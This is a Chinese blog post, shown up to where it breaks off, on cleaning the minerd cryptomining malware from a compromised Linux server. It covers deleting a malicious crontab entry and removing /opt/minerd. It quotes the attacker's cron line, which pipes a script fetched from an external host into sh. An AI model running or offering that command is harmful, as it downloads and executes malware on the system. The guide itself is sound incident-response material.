Linux清除木马minerd

最新推荐文章于 2024-08-07 09:17:56 发布

骆驼大笨笨

最新推荐文章于 2024-08-07 09:17:56 发布

阅读量9.9k

点赞数 1

分类专栏： Linux 文章标签： linux

本文链接：https://blog.csdn.net/juan083/article/details/52093931

版权

minerd是什么

minerd是挖矿程序，黑客入侵后，会利用宿主cpu进行复杂计算，强占cpu资源，使cpu使用率高达100%

今天突然发现cup使用率一直都很高，高达100%，查看后发现多了minerd这个进程，将其kill掉后，过一会还是存在
这里写图片描述

通过分析定时任务的脚本内容（ps：文章最后会给出脚本具体内容），得出以下删除minerd进程步骤：
1.删除定时任务的内容
crontab -e
将“/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”删除
2.删除minerd文件

[root@iZ28rvl9qn3Z ~]# ll /proc/2884/exe
lrwxrwxrwx 1 root root 0 Aug  2 14:56 /proc/2884/exe -> /opt/minerd (deleted)
[root@iZ28rvl9qn3Z ~]# ll /proc/2912/exe 
lrwxrwxrwx 1 root root 0 Aug  2 14:57 /proc/2912/exe -> /opt/minerd
[root@iZ28rvl9qn3Z ~]# rm /opt/minerd 
rm: remove regular file